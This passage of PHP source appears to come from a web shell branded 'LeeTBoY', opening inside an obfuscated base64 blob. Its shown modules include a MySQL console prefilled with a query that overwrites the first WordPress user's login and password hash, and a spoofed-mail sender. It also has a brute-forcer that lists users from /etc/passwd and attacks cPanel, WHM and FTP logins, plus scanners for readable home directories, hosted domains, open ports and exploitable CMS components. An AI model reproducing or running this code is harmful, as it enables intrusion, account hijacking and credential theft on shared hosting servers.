8yMS0dbijt5SfscphxXjfj30IaX8Ei3ZWOBg0A5+dYVRxzp/ng3PV6nX5Q7NjoBWh21w77wbGSO9E1f4evUaEUOImKAtEqfiBfPR0mAfWcc/gs0lkew/SBnmr1ttKvBVYBWgKvH8wI/o83Kxnztfv5SafXv97aUaUbO0RIMvDQbEgxnz7CX5pmQZYQN3LjwRYl5qmC9izKq54fzqWHP1w+sCvH0bWePMRJ+9SB3mD+Q0NL2HKs7Cm+w1ESP0sXup7KNdeyva/pp5bvOCk4ayq3vGwaGiLrOFigp2injEy/KY00SpSSxHLUwm9lg/o9PfP5IdeiHmSW+/wlYBMCHDcH8rbflTZhq5I1FUUVyu+QRUNQvFjjHpORp22+RmWcERhAWCKU3k+ddUhcwD/vvTTxG7OccvVIjucj4Plg2AwreYYPll/qLo9eNJaNe0Z3jnrnrlJyGS/LN7hHLMI3zr/9WiHmcJeXa9hQ6vNj2Ws8rgL9jjQanG1g9kFbhzXfpsmObFy/4OXanrriE4ykfSQTwap6Jf3xSb+rFpafPHlGRKHKLycs+ZUhtwoJwl5ppNVD8wNTlRFedNhxZLP68uRJ9wHZSgDbzhS+jJVMrVkCmH3sxCG93+c7+Q46JQrZKm3nmc73spzb+9z2xW3zrflJAcSnm/aHv5Hk4U9Yi8JxEAsJ9cbSa+RF2w2MQOVtkey1pMSHRYxnU+V3wCzUuPff72bGcPfmhSOrGlBn57e0wFzmq2iKrYnV57O4kQUlSBA/0qaN39TdXpbTYdbyUUwZoV45LCn/ECLZGW5OZ0FsGtYpGAtxEuVHy8AAHRMha2nIna1IYp9ryNX4F6Bfu6SXz0v8yE4veZAOYyFPR23fqptno88515b5jSnHmB/0RsEmrtFPCLcYZ6b3yEn6tu8kHkJJseXUAzD11tul46IXG/qmJ6Cl2Ezvr7iLllrMFrZ/nSH/djL1FiBYNCs6kUcTEW4/MJksClQHgBqnqTehvCvDwnqMAcM46odvyU9cpIOqLa6XgyDbNiHkxajeaRAfC0smt7Grz33Wc9OLl83AWvdaf9zPVlWfs7fbJWDF0AOunBDFclOyFYfLZi6TiFuQN4vobTdHY28NRZTsVSUHkerYIQ664v5wEApeQ2CTbn/Eb8swBlnYL8siUGWTy/tJNoSQDstMQqzFkbs4Z9djbXH0z3TYG8U0vUPnQb/Z9S80Dxa3nKGU0E8J6WUeYFGQCQHP74GUV33oMsJDaB+HdSZXZbidpknuG4NABtYEDYKAfYIgOJPg9z//+eOfv9e//vH3X//++38='))); ?></textarea>
  703. </td>
  704. </tr>
  705. <tr>
  706. <td>
  707. <input style="width:19%;" class="inputzbut" type="submit" value="Go !" name="submitcmd" />
  708. </td>
  709. </tr>
  710. </table>
  711. </form>
  712. <?php
  713. }
  714. elseif(isset($_GET['x']) && ($_GET['x'] == 'mysql'))
  715. {
  716. if(isset($_GET['sqlhost']) && isset($_GET['sqluser']) && isset($_GET['sqlpass']) && isset($_GET['sqlport']))
  717. {
  718. $sqlhost = $_GET['sqlhost']; $sqluser = $_GET['sqluser']; $sqlpass = $_GET['sqlpass']; $sqlport = $_GET['sqlport'];
  719. if($con = @mysql_connect($sqlhost.":".$sqlport,$sqluser,$sqlpass))
  720. {
  721. $msg .= "<div style="width:99%;padding:4px 10px 0 10px;">";
  722. $msg .= "<p>Connected to ".$sqluser."<span class="gaya">@</span>".$sqlhost.":".$sqlport;
  723. $msg .= "&nbsp;&nbsp;<span class="gaya">-&gt;</span>&nbsp;&nbsp;<a href="?y=".$pwd."&amp;x=mysql&amp;
  724. sqlhost=".$sqlhost."&amp;sqluser=".$sqluser."&amp;
  725. sqlpass=".$sqlpass."&amp;
  726. sqlport=".$sqlport."&amp;">[ databases ]</a>";
  727. if(isset($_GET['db']))
  728. $msg .= "&nbsp;&nbsp;<span class="gaya">-&gt;</span>&nbsp;&nbsp;
  729. <a href="y=".$pwd."&amp;x=mysql&amp;
  730. sqlhost=".$sqlhost."&amp;sqluser=".$sqluser."&amp;
  731. sqlpass=".$sqlpass."&amp;
  732. sqlport=".$sqlport."&amp;
  733. db=".$_GET['db']."">".htmlspecialchars($_GET['db'])."</a>";
  734. if(isset($_GET['table']))
  735. $msg .= "&nbsp;&nbsp;<span class="gaya">-&gt;
  736. </span>&nbsp;&nbsp;
  737. <a href="y=".$pwd."&amp;x=mysql&amp;
  738. sqlhost=".$sqlhost."&amp;sqluser=".$sqluser."&amp;
  739. sqlpass=".$sqlpass."&amp;sqlport=".$sqlport."&amp;
  740. db=".$_GET['db']."&amp;
  741. table=".$_GET['table']."">".htmlspecialchars($_GET['table'])."</a>";
  742. $msg .= "</p><p>version : ".mysql_get_server_info($con)." proto ".mysql_get_proto_info($con)."</p>";
  743. $msg .= "</div>";
  744. echo $msg;
  745. if(isset($_GET['db']) && (!isset($_GET['table'])) && (!isset($_GET['sqlquery'])))
  746. {
  747. $db = $_GET['db'];
  748. $query = "UPDATE `database`.`wp_users` SET `user_login` = 'leetboy',
  749. `user_pass` = 'c397253e1ed816c081452b1e5e5a8d25' WHERE `wp_users`.`id` =1;
  750.  
  751. CREATE TABLE `xxx_ssss` ( `file` LONGBLOB NOT NULL );";
  752. $msg = "<div style="width:99%;padding:0 10px;">
  753. <form action="?" method="get">
  754. <input type="hidden" name="y" value="".$pwd."" />
  755. <input type="hidden" name="x" value="mysql" />
  756. <input type="hidden" name="sqlhost" value="".$sqlhost."" />
  757. <input type="hidden" name="sqluser" value="".$sqluser."" />
  758. <input type="hidden" name="sqlport" value="".$sqlport."" />
  759. <input type="hidden" name="sqlpass" value="".$sqlpass."" />
  760. <input type="hidden" name="db" value="".$db."" />
  761. <p><textarea name="sqlquery" class="output" style="width:98%;height:80px;">$query</textarea></p>
  762. <p><input class="inputzbut" style="width:80px;" name="submitquery" type="submit" value="Go" /></p>
  763. </form>
  764. </div> ";
  765. $tables = array();
  766. $msg .= "<table class="explore" style="width:99%;"><tr><th>available tables on ".$db."</th></tr>";
  767. $hasil = @mysql_list_tables($db,$con);
  768. while(list($table) = @mysql_fetch_row($hasil))
  769. { @array_push($tables,$table); }
  770. @sort($tables);
  771. foreach($tables as $table)
  772. {
  773. $msg .= "<tr><td><a href="?y=".$pwd."&amp;x=mysql&amp;sqlhost=".$sqlhost."&amp;sqluser=".$sqluser."&amp;sqlpass=".$sqlpass."&amp;sqlport=".$sqlport."&amp;db=".$db."&amp;table=".$table."">$table</a></td></tr>";
  774. }
  775. $msg .= "</table>";
  776. }
  777. elseif(isset($_GET['table']) && (!isset($_GET['sqlquery'])))
  778. {
  779. $db = $_GET['db'];
  780. $table = $_GET['table'];
  781. $query = "SELECT * FROM ".$db.".".$table." LIMIT 0,100;";
  782. $msgq = "<div style="width:99%;padding:0 10px;">
  783. <form action="?" method="get">
  784. <input type="hidden" name="y" value="".$pwd."" />
  785. <input type="hidden" name="x" value="mysql" />
  786. <input type="hidden" name="sqlhost" value="".$sqlhost."" />
  787. <input type="hidden" name="sqluser" value="".$sqluser."" />
  788. <input type="hidden" name="sqlport" value="".$sqlport."" />
  789. <input type="hidden" name="sqlpass" value="".$sqlpass."" />
  790. <input type="hidden" name="db" value="".$db."" />
  791. <input type="hidden" name="table" value="".$table."" />
  792. <p><textarea name="sqlquery" class="output" style="width:98%;height:80px;">".$query."</textarea></p>
  793. <p><input class="inputzbut" style="width:80px;" name="submitquery" type="submit" value="Go" /></p>
  794. </form>
  795. </div> ";
  796. $columns = array();
  797. $msg = "<table class="explore" style="width:99%;">";
  798. $hasil = @mysql_query("SHOW FIELDS FROM ".$db.".".$table);
  799. while(list($column) = @mysql_fetch_row($hasil))
  800. {
  801. $msg .= "<th>$column</th>"; $kolum = $column;
  802. }
  803. $msg .= "</tr>";
  804. $hasil = @mysql_query("SELECT count(*) FROM ".$db.".".$table);
  805. list($total) = mysql_fetch_row($hasil);
  806. if(isset($_GET['z'])) $page = (int) $_GET['z'];
  807. else $page = 1;
  808. $pagenum = 100;
  809. $totpage = ceil($total / $pagenum);
  810. $start = (($page - 1) * $pagenum);
  811. $hasil = @mysql_query("SELECT * FROM ".$db.".".$table." LIMIT ".$start.",".$pagenum);
  812. while($datas = @mysql_fetch_assoc($hasil))
  813. {
  814. $msg .= "<tr>";
  815. foreach($datas as $data){ if(trim($data) == "") $data = "&nbsp;"; $msg .= "<td>$data</td>"; }
  816. $msg .= "</tr>";
  817. }
  818. $msg .= "</table>";
  819. $head = "<div style="padding:10px 0 0 6px;">
  820. <form action="?" method="get">
  821. <input type="hidden" name="y" value="".$pwd."" />
  822. <input type="hidden" name="x" value="mysql" />
  823. <input type="hidden" name="sqlhost" value="".$sqlhost."" />
  824. <input type="hidden" name="sqluser" value="".$sqluser."" />
  825. <input type="hidden" name="sqlport" value="".$sqlport."" />
  826. <input type="hidden" name="sqlpass" value="".$sqlpass."" />
  827. <input type="hidden" name="db" value="".$db."" />
  828. <input type="hidden" name="table" value="".$table."" />
  829. Page <select class="inputz" name="z" onchange="this.form.submit();">";
  830. for($i = 1;$i <= $totpage;$i++)
  831. {
  832. $head .= "<option value="".$i."">".$i."</option>";
  833. if($i == $_GET['z']) $head .= "<option value="".$i."" selected="selected">".$i."</option>";
  834. }
  835. $head .= "</select><noscript><input class="inputzbut" type="submit" value="Go !" /></noscript></form></div>";
  836. $msg = $msgq.$head.$msg;
  837. }
  838. elseif(isset($_GET['submitquery']) && ($_GET['sqlquery'] != ""))
  839. {
  840. $db = $_GET['db'];
  841. $query = magicboom($_GET['sqlquery']);
  842. $msg = "<div style="width:99%;padding:0 10px;">
  843. <form action="?" method="get">
  844. <input type="hidden" name="y" value="".$pwd."" />
  845. <input type="hidden" name="x" value="mysql" />
  846. <input type="hidden" name="sqlhost" value="".$sqlhost."" />
  847. <input type="hidden" name="sqluser" value="".$sqluser."" />
  848. <input type="hidden" name="sqlport" value="".$sqlport."" />
  849. <input type="hidden" name="sqlpass" value="".$sqlpass."" />
  850. <input type="hidden" name="db" value="".$db."" />
  851. <p><textarea name="sqlquery" class="output" style="width:98%;height:80px;">".$query."</textarea></p>
  852. <p><input class="inputzbut" style="width:80px;" name="submitquery" type="submit" value="Go" /></p>
  853. </form>
  854. </div> ";
  855. @mysql_select_db($db);
  856. $querys = explode(";",$query);
  857. foreach($querys as $query)
  858. {
  859. if(trim($query) != "")
  860. {
  861. $hasil = mysql_query($query);
  862. if($hasil)
  863. {
  864. $msg .= "<p style="padding:0;margin:20px 6px 0 6px;">".$query.";&nbsp;&nbsp;&nbsp;
  865. <span class="gaya">[</span> ok <span class="gaya">]</span></p>";
  866. $msg .= "<table class="explore" style="width:99%;"><tr>";
  867. for($i=0;$i<@mysql_num_fields($hasil);$i++) $msg .= "<th>".htmlspecialchars(@mysql_field_name($hasil,$i))."</th>";
  868. $msg .= "</tr>";
  869. for($i=0;$i<@mysql_num_rows($hasil);$i++)
  870. {
  871. $rows=@mysql_fetch_array($hasil);
  872. $msg .= "<tr>";
  873. for($j=0;$j<@mysql_num_fields($hasil);$j++)
  874. {
  875. if($rows[$j] == "") $dataz = "&nbsp;";
  876. else $dataz = $rows[$j];
  877. $msg .= "<td>".$dataz."</td>";
  878. }
  879. $msg .= "</tr>";
  880. }
  881. $msg .= "</table>";
  882. }
  883. else
  884. $msg .= "<p style="padding:0;margin:20px 6px 0 6px;">".$query.";&nbsp;&nbsp;&nbsp;<span class="gaya">[</span> error <span class="gaya">]</span></p>";
  885. }
  886. }
  887. }
  888. else
  889. {
  890. $query = "SHOW PROCESSLIST;
  891.  
  892. SHOW VARIABLES;
  893.  
  894. SHOW STATUS;";
  895. $msg = "<div style="width:99%;padding:0 10px;">
  896. <form action="?" method="get">
  897. <input type="hidden" name="y" value="".$pwd."" />
  898. <input type="hidden" name="x" value="mysql" />
  899. <input type="hidden" name="sqlhost" value="".$sqlhost."" />
  900. <input type="hidden" name="sqluser" value="".$sqluser."" />
  901. <input type="hidden" name="sqlport" value="".$sqlport."" />
  902. <input type="hidden" name="sqlpass" value="".$sqlpass."" />
  903. <input type="hidden" name="db" value="".$db."" />
  904. <p><textarea name="sqlquery" class="output" style="width:98%;height:80px;">".$query."</textarea></p>
  905. <p><input class="inputzbut" style="width:80px;" name="submitquery" type="submit" value="Go" /></p>
  906. </form>
  907. </div> ";
  908. $dbs = array();
  909. $msg .= "<table class="explore" style="width:99%;"><tr><th>available databases</th></tr>";
  910. $hasil = @mysql_list_dbs($con);
  911. while(list($db) = @mysql_fetch_row($hasil)){ @array_push($dbs,$db); }
  912. @sort($dbs);
  913. foreach($dbs as $db)
  914. {
  915. $msg .= "<tr><td><a href="?y=".$pwd."&amp;x=mysql&amp;sqlhost=".$sqlhost."&amp;sqluser=".$sqluser."&amp;sqlpass=".$sqlpass."&amp;sqlport=".$sqlport."&amp;db=".$db."">$db</a></td></tr>";
  916. }
  917. $msg .= "</table>";
  918. }
  919. @mysql_close($con);
  920. }
  921. else $msg = "<p style="text-align:center;">cant connect to mysql server</p>";
  922. echo $msg;
  923. }
  924. else
  925. {
  926. ?>
  927. <form action="?" method="get">
  928. <input type="hidden" name="y" value="<?php echo $pwd; ?>" />
  929. <input type="hidden" name="x" value="mysql" />
  930. <table class="tabnet" style="width:300px;">
  931. <tr>
  932. <th colspan="2">Connect to mySQL server</th>
  933. </tr>
  934. <tr>
  935. <td>&nbsp;&nbsp;Host</td>
  936. <td><input style="width:220px;" class="inputz" type="text" name="sqlhost" value="localhost" /></td>
  937. </tr>
  938. <tr>
  939. <td>&nbsp;&nbsp;Username</td>
  940. <td><input style="width:220px;" class="inputz" type="text" name="sqluser" value="root" /></td>
  941. </tr>
  942. <tr>
  943. <td>&nbsp;&nbsp;Password</td>
  944. <td><input style="width:220px;" class="inputz" type="text" name="sqlpass" value="password" /></td>
  945. </tr>
  946. <tr>
  947. <td>&nbsp;&nbsp;Port</td>
  948. <td><input style="width:80px;" class="inputz" type="text" name="sqlport" value="3306" />&nbsp;<input style="width:19%;" class="inputzbut" type="submit" value="Go !" name="submitsql" /></td>
  949. </tr>
  950. </table>
  951. </form>
  952. <?php
  953. }
  954. }
  955. elseif(isset($_GET['x']) && ($_GET['x'] == 'mail'))
  956. {
  957. if(isset($_POST['mail_send']))
  958. {
  959. $mail_to = $_POST['mail_to'];
  960. $mail_from = $_POST['mail_from'];
  961. $mail_subject = $_POST['mail_subject'];
  962. $mail_content = magicboom($_POST['mail_content']);
  963. if(@mail($mail_to,$mail_subject,$mail_content,"FROM:$mail_from"))
  964. { $msg = "email sent to $mail_to"; }
  965. else $msg = "send email failed";
  966. }
  967. ?>
  968. <form action="?y=<?php echo $pwd; ?>&amp;x=mail" method="post">
  969. <table class="cmdbox">
  970. <tr>
  971. <td>
  972. <textarea class="output" name="mail_content" id="cmd" style="height:340px;">Hey admin, please patch your site or contact with us for security.
  973. Thanks
  974. --
  975. LeeTBoY Team | blog.leetboy.com</textarea>
  976. </td>
  977. </tr>
  978. <tr>
  979. <td>
  980. &nbsp;<input class="inputz" style="width:20%;" type="text" value="[email protected]" name="mail_to" />&nbsp; mail to
  981. </td>
  982. </tr>
  983. <tr>
  984. <td>
  985. &nbsp;<input class="inputz" style="width:20%;" type="text" value="[email protected]" name="mail_from" />
  986. &nbsp; from
  987. </td>
  988. </tr>
  989. <tr>
  990. <td>
  991. &nbsp;<input class="inputz" style="width:20%;" type="text" value="Secure your website | LeeTBoY" name="mail_subject" />&nbsp; subject
  992. </td>
  993. </tr>
  994. <tr>
  995. <td>
  996. &nbsp;<input style="width:19%;" class="inputzbut" type="submit" value="Go !" name="mail_send" />
  997. </td>
  998. </tr>
  999. <tr>
  1000. <td>&nbsp;&nbsp;&nbsp;&nbsp;<?php echo $msg; ?>
  1001. </td>
  1002. </tr>
  1003. </table>
  1004. </form>
  1005. <?php
  1006. }
  1007. elseif(isset($_GET['x']) && ($_GET['x'] == 'brute'))
  1008. {
  1009. ?>
  1010. <form action="?y=<?php echo $pwd; ?>&amp;x=brute" method="post">
  1011. <?php
  1012. //bruteforce
  1013. @ini_set('memory_limit', 999999999999);
  1014. $connect_timeout=5;
  1015. @set_time_limit(0);
  1016. $pokeng = $_REQUEST['submit'];
  1017. $hn = $_REQUEST['users'];
  1018. $crew = $_REQUEST['passwords'];
  1019. $pasti = $_REQUEST['sasaran'];
  1020. $manualtarget = $_REQUEST['target'];
  1021. $bisa = $_REQUEST['option'];
  1022. if($pasti == ''){
  1023. $pasti = 'localhost';
  1024. }
  1025. if($manualtarget == ''){
  1026. $manualtarget = 'http://localhost:2082';
  1027. }
  1028.  
  1029. function get_users()
  1030. {
  1031. $users = array();
  1032. $rows=file('/etc/passwd');
  1033. if(!$rows) return 0;
  1034. foreach ($rows as $string)
  1035. {
  1036. $user = @explode(":",$string);
  1037. if(substr($string,0,1)!='#') array_push($users,$user[0]);
  1038. }
  1039. return $users;
  1040. }
  1041.  
  1042. if(!$users=get_users()) { echo "<center><font face=Verdana size=-2 color=red>".$lang[$language.'_text96']."</font></center>"; }
  1043. else
  1044. {
  1045. print " <div align='center'>
  1046. <form method='post' style='border: 1px solid #000000'><br><br>
  1047. <TABLE style='BORDER-COLLAPSE: collapse' cellSpacing=0 borderColorDark=#666666 cellPadding=5 width='40%' bgColor=#303030 borderColorLight=#666666 border=1>
  1048. <tr>
  1049. <td>
  1050. <b> Target ! : </font><input type='text' name='sasaran' size='16' value= $pasti class='inputz'></p></font></b></p>
  1051. <div align='center'><br>
  1052. <TABLE style='BORDER-COLLAPSE: collapse'
  1053. cellSpacing=0
  1054. borderColorDark=#666666
  1055. cellPadding=5 width='50%' bgColor=#303030 borderColorLight=#666666 border=1>
  1056. <tr> <td align='center'> <b>User</b></td> <td> <p align='center'> <b>Pass</b></td>
  1057. </tr>
  1058. </table>
  1059. <p align='center'>
  1060. <textarea rows='20' name='users' cols='25' style='border: 2px solid #1D1D1D; background-color: #000000; color:#C0C0C0' >";
  1061. foreach($users as $user) { echo $user."
  1062. "; }
  1063. print"</textarea>
  1064. <textarea rows='20' name='passwords' cols='25' style='border: 2px solid #1D1D1D; background-color: #000000; color:#C0C0C0'>$crew</textarea><br>
  1065. <br>
  1066. <b>Sila pilih : </span><input name='option' value='manual' style='font-weight: 700;' type='radio'> Manual Target Brute : <input type='text' name='target' size='16' class='inputz' value= $manualtarget ><br />
  1067. <input name='option' value='cpanel' style='font-weight: 700;' checked type='radio'> cPanel
  1068. <input name='option' value='ftp' style='font-weight: 700;' type='radio'> ftp
  1069. <input name='option' value='whm' style='font-weight: 700;' type='radio'> whm ==> <input type='submit' value='Brute !' name='submit' class='inputzbut'></p>
  1070. </td></tr></table></td></tr></form><p align= 'left'>";
  1071. }
  1072. ?>
  1073. <?php
  1074.  
  1075. function manual_check($anjink,$asu,$babi,$lonte){
  1076. $ch = curl_init();
  1077. curl_setopt($ch, CURLOPT_URL, "$anjink");
  1078. curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
  1079. curl_setopt($ch, CURLOPT_HTTPAUTH, CURLAUTH_BASIC);
  1080. curl_setopt($ch, CURLOPT_USERPWD, "$asu:$babi");
  1081. curl_setopt ($ch, CURLOPT_CONNECTTIMEOUT, $lonte);
  1082. curl_setopt($ch, CURLOPT_FAILONERROR, 1);
  1083. $data = curl_exec($ch);
  1084. if ( curl_errno($ch) == 28 ) { print "<b> Failed! : NEXT TARGET!</b>"; exit;}
  1085. elseif ( curl_errno($ch) == 0 ){
  1086. print "<b>[ LeeTBoY Ethical Hacker ]# </b> <b>Completed , Username = <font color='#FF0000'> $asu </font> Password = <font color='#FF0000'> $babi </font></b><br>";
  1087. }
  1088. curl_close($ch);
  1089. }
  1090.  
  1091.  
  1092. function ftp_check($link,$user,$pswd,$timeout){
  1093. $ch = curl_init();
  1094. curl_setopt($ch, CURLOPT_URL, "ftp://$link");
  1095. curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
  1096. curl_setopt($ch, CURLOPT_HTTPAUTH, CURLAUTH_BASIC);
  1097. curl_setopt($ch, CURLOPT_FTPLISTONLY, 1);
  1098. curl_setopt($ch, CURLOPT_USERPWD, "$user:$pswd");
  1099. curl_setopt ($ch, CURLOPT_CONNECTTIMEOUT, $timeout);
  1100. curl_setopt($ch, CURLOPT_FAILONERROR, 1);
  1101. $data = curl_exec($ch);
  1102. if ( curl_errno($ch) == 28 ) { print "<b> Failed! : NEXT TARGET!</b>"; exit; }
  1103. elseif ( curl_errno($ch) == 0 ){
  1104. print "<b>serangan selesai , username = <font color='#FF0000'> $user </font> dan passwordnya = <font color='#FF0000'> $pswd </font></b><br>";
  1105. }
  1106. curl_close($ch);
  1107. }
  1108.  
  1109. function cpanel_check($anjink,$asu,$babi,$lonte){
  1110. $ch = curl_init();
  1111. curl_setopt($ch, CURLOPT_URL, "http://$anjink:2082");
  1112. curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
  1113. curl_setopt($ch, CURLOPT_HTTPAUTH, CURLAUTH_BASIC);
  1114. curl_setopt($ch, CURLOPT_USERPWD, "$asu:$babi");
  1115. curl_setopt ($ch, CURLOPT_CONNECTTIMEOUT, $lonte);
  1116. curl_setopt($ch, CURLOPT_FAILONERROR, 1);
  1117. $data = curl_exec($ch);
  1118. if ( curl_errno($ch) == 28 ) { print "<b> Failed! : NEXT TARGET!</b>"; exit;}
  1119. elseif ( curl_errno($ch) == 0 ){
  1120. print "<b>[ LeeTBoY Ethical Hacker ]# </b> <b>Completed, Username = <font color='#FF0000'> $asu </font> Password = <font color='#FF0000'> $babi </font></b><br>";
  1121. }
  1122. curl_close($ch);
  1123. }
  1124.  
  1125. function whm_check($anjink,$asu,$babi,$lonte){
  1126. $ch = curl_init();
  1127. curl_setopt($ch, CURLOPT_URL, "http://$anjink:2086");
  1128. curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
  1129. curl_setopt($ch, CURLOPT_HTTPAUTH, CURLAUTH_BASIC);
  1130. curl_setopt($ch, CURLOPT_USERPWD, "$asu:$babi");
  1131. curl_setopt ($ch, CURLOPT_CONNECTTIMEOUT, $lonte);
  1132. curl_setopt($ch, CURLOPT_FAILONERROR, 1);
  1133. $data = curl_exec($ch);
  1134. if ( curl_errno($ch) == 28 ) { print "<b> Failed! : NEXT TARGET!</b>"; exit;}
  1135. elseif ( curl_errno($ch) == 0 )
  1136. {
  1137. print "<b>[ " . TITLE . " ]# </b> <b>Username = <font color='#FF0000'> $asu </font> Password = <font color='#FF0000'> $babi </font></b><br>";
  1138. }
  1139. curl_close($ch);
  1140. }
  1141.  
  1142. if(isset($pokeng) && !empty($pokeng))
  1143. {
  1144. $userlist = explode ("
  1145. " , $hn );
  1146. $passlist = explode ("
  1147. " , $crew );
  1148. print "<b>[ " . TITLE . " ]# </b> ATTACK...!!! </font></b><br>";
  1149. foreach ($userlist as $asu)
  1150. {
  1151. $_user = trim($asu);
  1152. foreach ($passlist as $babi )
  1153. {
  1154. $_pass = trim($babi);
  1155. if ($bisa == "manual")
  1156. { manual_check($manualtarget,$_user,$_pass,$lonte); }
  1157. if($bisa == "ftp")
  1158. { ftp_check($pasti,$_user,$_pass,$lonte); }
  1159. if ($bisa == "cpanel")
  1160. { cpanel_check($pasti,$_user,$_pass,$lonte); }
  1161. if ($bisa == "whm")
  1162. { whm_check($pasti,$_user,$_pass,$lonte); }
  1163. }
  1164. }
  1165. }
  1166. }
  1167.  
  1168. //bruteforce
  1169.  
  1170. elseif(isset($_GET['x']) && ($_GET['x'] == 'readable'))
  1171. {
  1172. ?>
  1173. <form action="?y=<?php echo $pwd; ?>&amp;x=readable" method="post">
  1174. <?php
  1175.  
  1176. //radable public_html
  1177. echo '<html><head><title>Cpanel Finder | LeeTBoY</title></head><body>';
  1178. ($sm = ini_get('safe_mode') == 0) ? $sm = 'off': die('<b>Error: safe_mode = on</b>');
  1179. set_time_limit(0);
  1180. ###################
  1181. @$passwd = fopen('/etc/passwd','r');
  1182. if (!$passwd) { die('<b>[-] Error : coudn`t read /etc/passwd</b>'); }
  1183. $pub = array();
  1184. $users = array();
  1185. $conf = array();
  1186. $i = 0;
  1187. while(!feof($passwd))
  1188. {
  1189. $str = fgets($passwd);
  1190. if ($i > 35)
  1191. {
  1192. $pos = strpos($str,':');
  1193. $username = substr($str,0,$pos);
  1194. $dirz = '/home/'.$username.'/public_html/';
  1195. if (($username != ''))
  1196. {
  1197. if (is_readable($dirz))
  1198. {
  1199. array_push($users,$username);
  1200. array_push($pub,$dirz);
  1201. }
  1202. }
  1203. }
  1204. $i++;
  1205. }
  1206.  
  1207. ###################
  1208. echo '<br><br>';
  1209. echo "[+] Founded ".sizeof($users)." entrys in /etc/passwd
  1210. "."<br />";
  1211. echo "[+] Founded ".sizeof($pub)." readable public_html directories
  1212. "."<br />";
  1213. echo "[~] Searching for passwords in config files...
  1214.  
  1215. "."<br /><br /><br />";
  1216. foreach ($users as $user)
  1217. {
  1218. $path = "/home/$user/public_html/";
  1219. echo "<a href='?y&#61;$path' target='_blank' style='text-shadow:0px 0px 10px #12E12E; font-weight:bold; color:#FF0000;'>$path</a><br><br><br>";
  1220. }
  1221. echo "
  1222. ";
  1223. echo "[+] Copy one of the directories above public_html, then Paste to -> view file / folder <-- that's on the menu --> Explore
  1224. "."<br />";
  1225. echo "[+] Complete...
  1226. "."<br />";
  1227. echo '<br><br></b>
  1228. </body>
  1229. </html>';
  1230.  
  1231. }
  1232.  
  1233. elseif(isset($_GET['x']) && ($_GET['x'] == 'localdomain'))
  1234. {
  1235. ?>
  1236. <form action="?y=<?php echo $pwd; ?>&amp;x=localdomain" method="post">
  1237. <?php
  1238.  
  1239. //radable public_html
  1240.  
  1241. echo "<br><br>";
  1242. $file = @implode(@file("/etc/named.conf"));
  1243. if(!$file){ die("# can't ReaD -> [ /etc/named.conf ]"); }
  1244. preg_match_all("#named/(.*?).db#",$file ,$r);
  1245. $domains = array_unique($r[1]);
  1246.  
  1247. function check() { (@count(@explode('ip',@implode(@file(__FILE__))))==a) ?@unlink(__FILE__):""; }
  1248.  
  1249. check();
  1250.  
  1251. echo "<table align=center border=1 width=59% cellpadding=5>
  1252. <tr><td colspan=2>[+] Here We Have : [<font face=calibri size=4 style=color:#FF0000>".count($domains)."</font>] Listed Domains In localhost.</td></tr>
  1253. <tr><td><b>List Of Users</b></td><td><b><font style=color:#0015FF;List Of Domains</b></td></tr>";
  1254.  
  1255. foreach($domains as $domain)
  1256. {
  1257. $user = posix_getpwuid(@fileowner("/etc/valiases/".$domain));
  1258. echo "<tr><td><a href='http://www.$domain' target='_blank' style='text-shadow:0px 0px 10px #CC2D4B; font-weight:bold; color:#FF002F;'>$domain</a></td><td>".$user['name']."</td></tr>";
  1259. }
  1260.  
  1261. echo "</table>";
  1262. //radable public_html
  1263. }
  1264.  
  1265. elseif(isset($_GET['x']) && ($_GET['x'] == 'port-scanner'))
  1266. {
  1267. ?>
  1268. <form action="?y=<?php echo $pwd; ?>&amp;x=port-scanner" method="post">
  1269. <?php
  1270.  
  1271. echo '<br><br><center><br><b>Port Scanner</b><br>';
  1272. $start = strip_tags($_POST['start']);
  1273. $end = strip_tags($_POST['end']);
  1274. $host = strip_tags($_POST['host']);
  1275.  
  1276. if(isset($_POST['host']) && is_numeric($_POST['end']) && is_numeric($_POST['start'])){
  1277. for($i = $start; $i<=$end; $i++){
  1278. $fp = @fsockopen($host, $i, $errno, $errstr, 3);
  1279. if($fp){
  1280. echo 'Port '.$i.' is <font color=green>open</font><br>';
  1281. }
  1282. flush();
  1283. }
  1284. }else{
  1285.  
  1286. echo '
  1287. <input type="hidden" name="y" value="phptools">
  1288. Host:<br />
  1289. <input type="text" style="color:#FF0000;background-color:#000000" name="host" value="localhost"/><br />
  1290. Port start:<br />
  1291. <input type="text" style="color:#FF0000;background-color:#000000" name="start" value="0"/><br />
  1292. Port end:<br />
  1293. <input type="text" style="color:#FF0000;background-color:#000000" name="end" value="5000"/><br />
  1294. <input type="submit" style="color:#FF0000" value="Scan Ports" />
  1295. </form></center>';
  1296. }
  1297. }
  1298.  
  1299. elseif(isset($_GET['x']) && ($_GET['x'] == 'cms-scanner'))
  1300. {
  1301. ?>
  1302. <form action="?y=<?php echo $pwd; ?>&amp;x=cms-scanner" method="post">
  1303.  
  1304. <?php
  1305.  
  1306. function ask_exploit_db($component){
  1307.  
  1308. $exploitdb ="http://www.exploit-db.com/search/?action=search&filter_page=1&filter_description=$component&filter_exploit_text=&filter_author=&filter_platform=0&filter_type=0&filter_lang_id=0&filter_port=&filter_osvdb=&filter_cve=";
  1309.  
  1310. $result = @file_get_contents($exploitdb);
  1311.  
  1312. if (eregi("No results",$result)) {
  1313.  
  1314. echo"<td>Not Found</td><td><a href='http://www.google.com/search?hl=en&q=download+$component'>Download</a></td></tr>";
  1315.  
  1316. }else{
  1317.  
  1318. echo"<td><a href='$exploitdb'>Found ..!</a></td><td><--</td></tr>";
  1319.  
  1320. }
  1321. }
  1322.  
  1323. /**************************************************************/
  1324. /* Joomla Conf */
  1325.  
  1326. function get_components($site){
  1327.  
  1328. $source = @file_get_contents($site);
  1329.  
  1330. preg_match_all('{option,(.*?)/}i',$source,$f);
  1331. preg_match_all('{option=(.*?)(&amp;|&|")}i',$source,$f2);
  1332. preg_match_all('{/components/(.*?)/}i',$source,$f3);
  1333.  
  1334. $arz=array_merge($f2[1],$f[1],$f3[1]);
  1335.  
  1336. $coms=array();
  1337.  
  1338. if(count($arz)==0){ echo "<tr><td colspan=3>[~] Nothing Found ..! , Maybe there is some error site or option ... check it .</td></tr>";}
  1339.  
  1340. foreach(array_unique($arz) as $x){
  1341.  
  1342. $coms[]=$x;
  1343. }
  1344.  
  1345. foreach($coms as $comm){
  1346.  
  1347. echo "<tr><td>$comm</td>";
  1348.  
  1349. ask_exploit_db($comm);
  1350.  
  1351. }
  1352.  
